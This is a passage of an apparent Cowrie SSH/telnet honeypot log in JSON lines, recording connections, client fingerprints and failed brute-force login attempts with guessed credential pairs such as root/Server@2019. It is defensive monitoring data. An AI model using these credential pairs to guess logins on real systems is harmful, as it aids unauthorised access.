sa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:10:21.717459Z","src_ip":"85.198.19.241","session":"d11045e07197","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2019","message":"login attempt [root/Server@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:10:22.695278Z","src_ip":"85.198.19.241","session":"d11045e07197","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:10:25.563305Z","src_ip":"85.198.19.241","session":"d11045e07197","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":59432,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a75bcfcb2a5","protocol":"telnet","message":"New connection: 172.81.62.90:59432 (159.203.135.109:23) [session: 0a75bcfcb2a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:10:26.909827Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":35968,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c5561531f86","protocol":"ssh","message":"New connection: 43.153.12.68:35968 (10.17.0.5:22) [session: 6c5561531f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:10:28.226244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:10:28.230989Z","src_ip":"43.153.12.68","session":"6c5561531f86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:10:28.308040Z","src_ip":"43.153.12.68","session":"6c5561531f86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"Welcome@1234","message":"login attempt [user1/Welcome@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:10:28.614030Z","src_ip":"43.153.12.68","session":"6c5561531f86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:10:29.686865Z","src_ip":"43.153.12.68","session":"6c5561531f86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.47635078430176,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:10:48.848333Z","src_ip":"107.6.151.170","session":"b71548074dbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":43954,"dst_ip":"159.203.135.109","dst_port":22,"session":"82af852f9534","protocol":"ssh","message":"New connection: 194.113.233.25:43954 (159.203.135.109:22) [session: 82af852f9534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:10:58.034520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:10:58.039668Z","src_ip":"194.113.233.25","session":"82af852f9534","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:10:58.129658Z","src_ip":"194.113.233.25","session":"82af852f9534","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"31101984","message":"login attempt [root/31101984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:10:58.399849Z","src_ip":"194.113.233.25","session":"82af852f9534","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:10:59.491321Z","src_ip":"194.113.233.25","session":"82af852f9534","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.148.249.2","src_port":57676,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b48f03b9058","protocol":"ssh","message":"New connection: 38.148.249.2:57676 (10.17.0.5:22) [session: 6b48f03b9058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:01.031730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:01.036004Z","src_ip":"38.148.249.2","session":"6b48f03b9058","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:01.108459Z","src_ip":"38.148.249.2","session":"6b48f03b9058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@2025","message":"login attempt [user/user@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:01.418260Z","src_ip":"38.148.249.2","session":"6b48f03b9058","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.245492696762085,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:02.155185Z","src_ip":"172.81.62.90","session":"0a75bcfcb2a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60594,"dst_ip":"159.203.135.109","dst_port":23,"session":"f895f3dee7a0","protocol":"telnet","message":"New connection: 172.81.62.90:60594 (159.203.135.109:23) [session: f895f3dee7a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:02.198922Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:02.491440Z","src_ip":"38.148.249.2","session":"6b48f03b9058","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":51688,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a7a87c314da","protocol":"telnet","message":"New connection: 107.6.151.170:51688 (159.203.135.109:23) [session: 5a7a87c314da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:02.964668Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.145.2","src_port":54562,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed5715972f99","protocol":"ssh","message":"New connection: 103.216.145.2:54562 (10.17.0.5:22) [session: ed5715972f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:04.782011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:04.787350Z","src_ip":"103.216.145.2","session":"ed5715972f99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:04.980998Z","src_ip":"103.216.145.2","session":"ed5715972f99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntuuser","password":"ubuntuuser","message":"login attempt [ubuntuuser/ubuntuuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:05.792065Z","src_ip":"103.216.145.2","session":"ed5715972f99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:06.988227Z","src_ip":"103.216.145.2","session":"ed5715972f99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":37720,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0d55ba38972","protocol":"ssh","message":"New connection: 38.93.206.2:37720 (10.17.0.5:22) [session: f0d55ba38972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:18.135073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:18.140680Z","src_ip":"38.93.206.2","session":"f0d55ba38972","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:18.192088Z","src_ip":"38.93.206.2","session":"f0d55ba38972","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"213456","message":"login attempt [root/213456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:18.364017Z","src_ip":"38.93.206.2","session":"f0d55ba38972","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:19.434187Z","src_ip":"38.93.206.2","session":"f0d55ba38972","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":55861,"dst_ip":"159.203.135.109","dst_port":22,"session":"7dd572cb2ab6","protocol":"ssh","message":"New connection: 216.155.93.75:55861 (159.203.135.109:22) [session: 7dd572cb2ab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:27.018291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:27.022772Z","src_ip":"216.155.93.75","session":"7dd572cb2ab6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:27.175637Z","src_ip":"216.155.93.75","session":"7dd572cb2ab6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa@123456","message":"login attempt [root/aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:27.820096Z","src_ip":"216.155.93.75","session":"7dd572cb2ab6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:28.975565Z","src_ip":"216.155.93.75","session":"7dd572cb2ab6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.13","src_port":52590,"dst_ip":"10.17.0.5","dst_port":22,"session":"876ba803e4ba","protocol":"ssh","message":"New connection: 91.92.40.13:52590 (10.17.0.5:22) [session: 876ba803e4ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:32.959641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:33.253656Z","src_ip":"91.92.40.13","session":"876ba803e4ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:33.256947Z","src_ip":"91.92.40.13","session":"876ba803e4ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.62658429145813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:33.591081Z","src_ip":"107.6.151.170","session":"5a7a87c314da","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password1","message":"login attempt [admin/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:34.405534Z","src_ip":"91.92.40.13","session":"876ba803e4ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":53715,"dst_ip":"10.17.0.5","dst_port":22,"session":"2e63f105e41c","protocol":"ssh","message":"New connection: 170.80.65.140:53715 (10.17.0.5:22) [session: 2e63f105e41c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:34.531581Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T13:11:34.535893Z","src_ip":"170.80.65.140","session":"2e63f105e41c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-s